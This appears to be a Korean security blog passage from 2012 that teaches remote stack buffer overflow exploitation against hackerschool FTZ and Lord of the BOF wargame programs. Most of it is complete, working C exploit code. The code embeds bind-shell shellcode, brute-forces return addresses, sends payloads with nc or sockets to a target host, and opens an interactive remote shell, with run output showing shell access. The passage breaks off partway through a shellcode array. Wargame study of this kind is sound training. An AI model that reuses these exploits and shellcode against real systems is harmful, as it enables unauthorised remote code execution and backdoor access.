0xbffffab0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffac0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffad0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffae0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffaf0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb00  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb10  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb20  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb30  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb40  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb50  41 41 41 41 41 41 41 41 41 41 41 41 51 84 04 08   AAAAAAAAAAAAQ...
0xbffffb60  84 97 04 08 88 98 04 08 a8 fb ff bf 99 74 01 42   .............t.B
0xbffffb70  01 00 00 00 d4 fb ff bf dc fb ff bf fa 82 04 08   ................
0xbffffb80  30 87 04 08 00 00 00 00 a8 fb ff bf 82 74 01 42   0............t.B
0xbffffb90  00 00 00 00 dc fb ff bf bc e5 12 42 c0 34 01 40   ...........B.4.@
0xbffffba0  01 00 00 00 70 83 04 08 00 00 00 00 91 83 04 08   ....p...........
0xbffffbb0  94 86 04 08 01 00 00 00 d4 fb ff bf e4 82 04 08   ................
 
[guest@ftz guest]$ 
==========================================================================
 
위 결과를 분석해보면, string 변수를 16바이트 단위를 만들기 위해 4바이트의
더미가 추가되었으며, return address sfp 16바이트 단위로 만들기 위해
8바이트의 더미가 추가된 것을 볼 수 있다. ,  12바이트의 더미가 생성된
것이다. 이제 버퍼를 다시 그려보자.
 
* vuln_prog의 버퍼 모습 (STACK)
 
[sendmsg(400 bytes)] [string(300 bytes)] [dummy(12 bytes)] [sfp] [ret] [...]
 
이제 이 프로그램이 공격당할 때의 버퍼 모습을 쉽게 유추할 수 있다.
 
* 공격당할 때의 버퍼 모습
 
[sendmsg(400 bytes)] [string(300 bytes)] [dummy(12 bytes)] [sfp] [ret] [...]
                     ~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~  ┃ 
                     [210바이트 쉘코드] [어떤 값이 되던 상관없음.] ┃
                     ↑                                            ┃
                     ┗━━━━━━━━━━━━━━━━━━━━━━┛
                      * 리턴 어드레스가 쉘코드의 시작을 가리키도록 함.
 
위와 같은 모양이 된다면, 버퍼가 오버플로우 되고, main()함수가 종료되는 시점에서 바인드 쉘 코드가 실행됨과 동시에 45295번 포트가 열릴 것이다.
이제 Exploit을 구현해 나가보자. 문제가 될만한 부분은 쉘 코드의 시작 위치를 
어떻게 알아 내느냐 하는 것인데, 역시 특별한 방법은 없으며, Brute Force를 통해 그 위치를 찾아나가야 한다. 
 
◎ Exploit 작성 1단계 : 취약 프로그램의 버퍼에 저장될 공격 string을 구성한다.
 
========================================================================
#include <stdio.h>
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
int main()
{
        char Attack_String[320];
        int Ret_Addr = 0xc0000000;
 
        memset(Attack_String, 'A', 320);
        memcpy(Attack_String, shellcode, strlen(shellcode));
        memcpy(&Attack_String[316], &Ret_Addr, 4);
}
========================================================================
 
취약 프로그램의 string 변수 300바이트와 dummy 12바이트, sfp 4바이트 그리고 return address 4바이트를 합하여 총 320 바이트를 공격 스트링의 크기로 할당하였다.
그 다음엔 Brute Force를 통해 변경시킬 Ret_Addr 변수를 선언하였다.
다음 부분에서 Attack_String A 문자로 가득 채운 이유는 후에 완성된 공격
스트링을 쉘에 입력할 때, ;, |, & 등의 특수 문자가 입력되는 것을 방지하기
위함이다. 이렇게 초기화를 하지 않으면 쓰레기 값들이 대신 출력되기 때문이다.
 
이제 공격 스트링의 앞부분에 바인드 쉘코드를 복사하고, 취약 프로그램의 리턴
어드레스가 위치하는 부분에 공격자가 임의로 변경할 리턴 어드레스를 복사하였다.
이 변경할 값은 쉘 코드의 시작 부분이 될 것이며, 이제 Brute Force로 이 값을
추측하는 루틴을 추가해야 한다.
 
◎ Exploit 작성 2단계 : Brute Force 루틴 추가.
 
========================================================================
#include <stdio.h>
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
int main()
{
        char Attack_String[320];
        int Ret_Addr = 0xc0000000;
 
        memset(Attack_String, 'A', 320);
        memcpy(Attack_String, shellcode, strlen(shellcode));
 
        while(1){
                memcpy(&Attack_String[316], &Ret_Addr, 4);
                printf("%p\n", Ret_Addr);
                Ret_Addr -= 4;     // 0xc0000000에서부터 4바이트씩 감소
        }
}
========================================================================
 
* 실행 결과
 
====================================
[guest@ftz lecture]$ ./exploit 
0xc0000000
0xbffffffc
0xbffffff8
0xbffffff4
0xbffffff0
... 생략 ...
====================================
 
이처럼 스택의 가장 끝 부분부터 4바이트 단위로 리턴 어드레스를 변경 해 가다 보면, 언젠가는 쉘 코드의 시작 부분을 실행하게 될 것이다. 이제 다음은 쉘 코드와Brute Force로 얻은 새로운 리턴 어드레스의 주소를 취약 프로그램으로 전송하는 단계이다. 이 부분은 nc라는 패킷 전송 툴을 이용하면 편하다.
 
◎ Exploit 작성 3단계 : 공격 패킷 전송 루틴 추가
 
========================================================================
#include <stdio.h>
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
int main()
{
        char Attack_String[320], Cmd[400];
        int Ret_Addr = 0xc0000000;
 
        memset(Attack_String, 'A', 320);
        memcpy(Attack_String, shellcode, strlen(shellcode));
 
        while(1){
                memcpy(&Attack_String[316], &Ret_Addr, 4);
                Ret_Addr -= 4;
                printf("%p\n", Ret_Addr);
 
                // 공격 패킷 전송 루틴
                sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String);
                system(Cmd);
        }
}
========================================================================
        
이제 위 Exploit을 실행하면, 다음과 같이 취약 프로그램의 리턴 어드레스 값을
변경해가며 공격 패킷을 전송한다. 이 과정이 계속 반복하다가 취약 프로그램의
변경된 리턴 어드레스와 쉘 코드가 위치 하게 되는 string 변수의 시작 부분이
일치하게 되면, 백도어 포트가 열리게 될 것이다.
 
========================================================================
[guest@ftz lecture]$ ./exploit 
... 생략 ...
 
0xbffff9fc
당신이 입력한 문자열 : 1??F?1???켘켘켘됣낡f?1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
1??1R됣낡f?1??0?1??PW됣낡f?1??9@1핃馨?1????1??1??1h//
shh/bin됥딻PS?
                                                                   ?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
0xbffff9f8
당신이 입력한 문자열 : 1??F?1???켘켘켘됣낡f?1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
1??1R됣낡f?1??0?1??PW됣낡f?1??9@1핃馨?1????1??1??1h//
shh/bin됥딻PS?
                                                                   ?1??1핃箚?
... 생략 ...
========================================================================
 
 Exploit을 실행한 결과,  10여분이 지난 후에 45295번 포트가 열리게 되었고, 취약 프로그램을 수정하여 string 변수의 주소 값을 출력해본 결과 0xbffff9f8이 바로 공격자가 찾아내야 했던 값이라는 것을 알 수 있었다.
이처럼 백도어 포트를 오픈 하는 바인드 쉘코드와 Brute Force를 이용하여 독립적인 네트워크 프로그램에 대한 공격을 성공시켰다. 
하지만, 어느 순간에 공격에 성공했는지를 알 수 없었기 때문에, 수시로 45295번 포트로 수동 접속을 해봐야만 했다.
그럼 이번에는 자동으로 49295번 포트로 접속을 하여, 만약 접속에 성공했다면
Exploit을 종료시키는 루틴을 추가해 보겠다. 
 
◎ Exploit 작성 4단계 : 공격 성공 여부 판단 루틴 추가
 
========================================================================
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
int Check_Result(void)
{
        int sockfd;
        struct sockaddr_in target_addr;
 
        target_addr.sin_family = AF_INET;
        target_addr.sin_port = htons(45295);
        target_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        bzero(&target_addr.sin_zero, 0, 8);
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        // 45295번 포트로 접속이 되면 성공, 안되면 실패.
        if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){
                close(sockfd);
                return 0;
        }
        else{
                close(sockfd);
                return 1;
        }
}
 
int main()
{
        char Attack_String[320], Cmd[400];
        int Ret_Addr = 0xbffffa00;
 
        memset(Attack_String, 'A', 320);
        memcpy(Attack_String, shellcode, strlen(shellcode));
 
        while(1){
                memcpy(&Attack_String[316], &Ret_Addr, 4);
                Ret_Addr -= 4;
                printf("%p\n", Ret_Addr);
 
                sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String);
                system(Cmd);
 
                // 공격 결과 체크 루틴
                if(Check_Result()){
                        printf("Exploit Succeed.!\n");
                        exit(0);
                }
        }
}
========================================================================
 
* 실행 결과
 
========================================================================
[guest@ftz lecture]$ ./exploit 
... 생략 ...
 
0xbffff9fc
당신이 입력한 문자열 : 1??F?1???켘켘켘됣낡f?1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
1??1R됣낡f?1??0?1??PW됣낡f?1??9@1핃馨?1????1??1??1h//
shh/bin됥딻PS?
                                                                   ?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
0xbffff9f8
당신이 입력한 문자열 : 1??F?1???켘켘켘됣낡f?1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
1??1R됣낡f?1??0?1??PW됣낡f?1??9@1핃馨?1????1??1??1h//
shh/bin됥딻PS?
                                                                   ?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?ltB
Exploit Succeed.!
[guest@ftz lecture]$ 
========================================================================
 
이처럼 0xbfff9f8 값에서 공격에 성공하여 45295번 포트가 열렸음을 알 수 있게
되었다. 이제 수동으로 45295번 포트에 접속하면 쉘 권한을 획득할 수 있을 것이다.
하지만, 보통 공개된 Remote Exploit을 보면, 공격 성공 후 자동으로 쉘 권한까지 띄워주도록 구현되어 있다. 마지막으로 그 기능을 추가해보자. 
 
◎ Exploit 작성 5단계 : 쉘 권한 획득 루틴 추가
 
========================================================================
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
void Get_Shell(int sockfd)
{
        int length;
        char data[1024];
        fd_set read_fds;
 
        while(1){
                FD_ZERO(&read_fds);
                FD_SET(sockfd, &read_fds);
                FD_SET(0, &read_fds);
 
                select(sockfd+1, &read_fds, NULL, NULL, NULL);
 
                // 소켓으로부터 data가 왔을 때의 처리.
                if(FD_ISSET(sockfd, &read_fds)){
                        length = recv(sockfd, data, 1024, 0);
                        // 받은 내용을 화면에 출력한다.
                        if(write(1, data, length) == 0)
                                break;
                }
 
                // 공격자가 키보드를 입력했을 때의 처리.
                if(FD_ISSET(0, &read_fds)){
                        length = read(0, data, 1024);
                        // 입력한 내용을 쉘백도어로 전송한다.
                        if(send(sockfd, data, length, 0) == 0)
                                break;
                }
        }
}
 
int Check_Result(void)
{
        int sockfd;
        struct sockaddr_in target_addr;
 
        target_addr.sin_family = AF_INET;
        target_addr.sin_port = htons(45295);
        target_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        bzero(&target_addr.sin_zero, 0, 8);
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){
                close(sockfd);
                return 0;
        }
        else{
                // 공격에 성공하였다면, 확인 명령을 전송하고 쉘 연결.
                send(sockfd, "uname -a;id\n", 12, 0);
                Get_Shell(sockfd);
                close(sockfd);
                return 1;
        }
}
 
int main()
{
        char Attack_String[320], Cmd[400];
        int Ret_Addr = 0xbffffa00;
 
        memset(Attack_String, 'A', 320);
        memcpy(Attack_String, shellcode, strlen(shellcode));
 
        while(1){
                memcpy(&Attack_String[316], &Ret_Addr, 4);
                Ret_Addr -= 4;
                printf("%p\n", Ret_Addr);
 
                sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String);
                system(Cmd);
                if(Check_Result()){
                        printf("Exploit Succeed.!\n");
                        exit(0);
                }
        }
}
========================================================================
 
* 실행 결과
 
========================================================================
[guest@ftz lecture]$ ./exploit   
... 생략 ...
 
0xbffff9fc
당신이 입력한 문자열 : 1??F?1???켘켘켘됣낡f?1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
1??1R됣낡f?1??0?1??PW됣낡f?1??9@1핃馨?1????1??1??1h//
shh/bin됥딻PS?
                                                                   ?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Linux ftz.hackerschool.org 2.4.20 #1 SMP Fri Mar 28 22:31:45 EST 2003 i686 unknown
uid=1000(guest) gid=1000(guest) groups=1000(guest)
whoami
guest
========================================================================
 
이처럼 이제 공격 성공 후 바로 쉘 권한을 획득할 수 있게 되었다. 
Exploit의 업그레이드는 이 정도면 충분할 듯하다. 이제 더욱 효과적으로 리모트 오버플로우 공격을 성공시킬 수 있는 방법이 있는지 생각해보자.

지난 Xinetd 환경에서의 오버플로우 공격에선 총 7가지 방법으로 공격을 시도 볼 수 있었다. 하지만, 독립적인 네트워크로 구현된 취약 프로그램에는 그러한 시도를 해 볼 수 있는 범위가 아주 좁게 축소된다.

 
지금 이 환경에서의 RTL 기법을 생각해보자. 단순히 라이브러리 함수들 만으로는 쉘 백도어 포트를 생성하거나, 기타 어떤 다른 응용 방법이 존재하지 않는다.
쉘을 실행하는 backdoor.sh 파일을 생성하고, system() 함수를 이용해  n.telnetd 프로그램을 실행하는 정도의 방법을 생각할 수는 있지만, 이렇게 하려면 오히려 더욱 조잡한 공격 과정이 필요해질 것이다.
 

, return address 뒷쪽으로 대량의 NOP을 넣고 그 뒤의 쉘 코드가 실행되도 하는 것도 거의 불가능하다. 왜냐하면 보통 recv() 함수의 세번째 인자에 의해 전송 받는 데이터의 총 길이가 제한되어있기 때문이다. 이 길이가 return address영역을 초과하도록 프로그래밍하는 사람은 없을 것이다.

따라서 기껏해야 데몬이 받아들이는 버퍼의 한계를 넘지 않는 범위에서 NOP추가하는 정도의 기교밖에는 기대할 수 없을 것이다.

 

 

 

Posted by k1rha
2012. 6. 21. 02:18

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <arpa/inet.h>

 

#define BUFSIZE 256

#define OFFSET 44

#define JUMP_OFFSET 36

 

char bindshellcode[] =

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

 

//31337 포트로 열리는 바인드 쉘코드 이다.

 

#define BINDPORT 31337  //telnet 으로 바인드된 곳으로 접속할 포트를 정한다.

//즉 쉘코드가 다른포트로 바뀌면 이부분을 수정한다.

 

 

int main (int argc, char *argv[])

{

int sockfd; 

struct sockaddr_in target_addr;

unsigned char buffer[BUFSIZE];   //exploiting 할 버퍼 값

unsigned int retaddr = 0xbffffff0;  //return addr 을 계속 바꿀 주소값

char cmd[100];   //telnet 명령어를 박을 부분

 

if (argc != 3) {

fprintf(stderr, "Usage: %s <Target Address> <Port>\n", argv[0]);

return -1;

}

 

sprintf(cmd, "%s %s %d", "telnet", argv[1], BINDPORT);  

 //telnet 명령 인자값 구성.//오버플로우 조심하쎼요~

 

while (1) {

 

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {

printf ("socket error");

return -1;

}

memset(&target_addr, 0, sizeof(target_addr));

target_addr.sin_family = AF_INET;

target_addr.sin_port = htons(atoi(argv[2]));  //target ip

target_addr.sin_addr.s_addr = inet_addr(argv[1]);  //target port

 

if (connect (sockfd, (struct sockaddr*)&target_addr, sizeof(target_addr)) == -1) {

printf(“connect error”);

close(sockfd);

continue;

}

retaddr -= JUMP_OFFSET;  //JUMP_OFFSET만큼 계쏙 감소.  놉코드 개수와 일치시면 좋다.

memset(buffer, '\x90', sizeof(buffer));  //놉코드로 변수를 초기화한다.

memcpy(buffer+OFFSET, &retaddr, 4);  // ret주소값까지 만큼 떨어진 부분에 저장했던 주소를 넘

memcpy(buffer+100, bindshellcode, strlen(bindshellcode)); //100만큼 떨어진 곳에 바인드 쉘코드를 넣음 즉 옵코드는 대략 50개가 들어가 있음때문에JUMP_OFFSET 50이라고 줌

 

send(sockfd, buffer, strlen(buffer), 0);  //소켓을 전송함.

 

system(cmd);  //telnet 을 시도함.

 

close(sockfd);

 

}

 

return 0;

}

Posted by k1rha
2012. 6. 21. 00:14

BOF 원정대 level20 (xavius -> death_knight)

 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>

 

main()

{

        char buffer[40];

 

        int server_fd, client_fd;

        struct sockaddr_in server_addr;   //소켓  서버 구조체 선언

        struct sockaddr_in client_addr;   //소켓 클라이언트 구조체 선언

        int sin_size;

 

        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){  //소켓의 타입 설정(여기서는 TCP)

                perror("socket");

                exit(1);

        }

 

        server_addr.sin_family = AF_INET;   //소켓의 타입 결정 IPV4 를 의미

        server_addr.sin_port = htons(6666);   //6666포트를 열게 된다.

        server_addr.sin_addr.s_addr = INADDR_ANY; //들어오는 모든 사람들을 받아들이겠음

        bzero(&(server_addr.sin_zero), 8);  //서버의 zin_zero 부분을 0으로 초기화

 

        if(bind(server_fd,(struct sockaddr*)&server_addr,sizeof(struct sockaddr)) == -1){  //바인딩시킴

                perror("bind");

                exit(1);

        }

 

        if(listen(server_fd, 10) == -1){  //소켓을 대기 상태로 만듬

                perror("listen");

                exit(1);

        }

 

        while(1) {

                sin_size = sizeof(struct sockaddr_in);

                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

                  //accepte 가 될시 호출 되는 부분(즉 클라이언트의 연결이 있을시)

                        perror("accept");

                        continue;

                }

 

                if (!fork()){

                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

                        send(client_fd, "You : ", 6, 0);

                        recv(client_fd, buffer, 256, 0); //40바이트 buffer 256바이트를 저장

                        close(client_fd);

                        break;

                }

 

                close(client_fd);

                while(waitpid(-1,NULL,WNOHANG) > 0);

        }

        close(server_fd);

}memset(buffer+40+8, 'A', 4);

 

 

리모트 BOF 문제이다.

6666포트로 들어오는 사용자들이 문자열을 입력하면 40바이트 만큼 할당된 buffer값에 recv()는 들어오는 내용중 256개를 buff에 넣기 때문에 오버플로우가 발생 하게 된다.

공격 페이로드는 다음과 같다

[buffer=40][sfp=4][ret= 4] [ argc ~~]

 Aaaaaa…..aaaaaa [&NOP] [NOP + BIND SHELLCODE]

 

버퍼을 쓰레기 값으로 체우고 ret에는 앞으로 삽입될 NOP 코드의 주소값을 가르친다.

이는 적절한 위치를 정확히 찾기 어렵기 떄문에 stack 영역을 부루투 포싱한다.

 

이후 일반 쉘코드가 아닌 31337 포트가 열리는 바인드 쉘코드를 사용한다.

부루투포싱을 손으로 할순 없으므로 간단한 소켓을 짜서 공격해보자.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <arpa/inet.h>

 

#define BUFSIZE 256

#define OFFSET 44

#define JUMP_OFFSET 36

 

char bindshellcode[] =

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

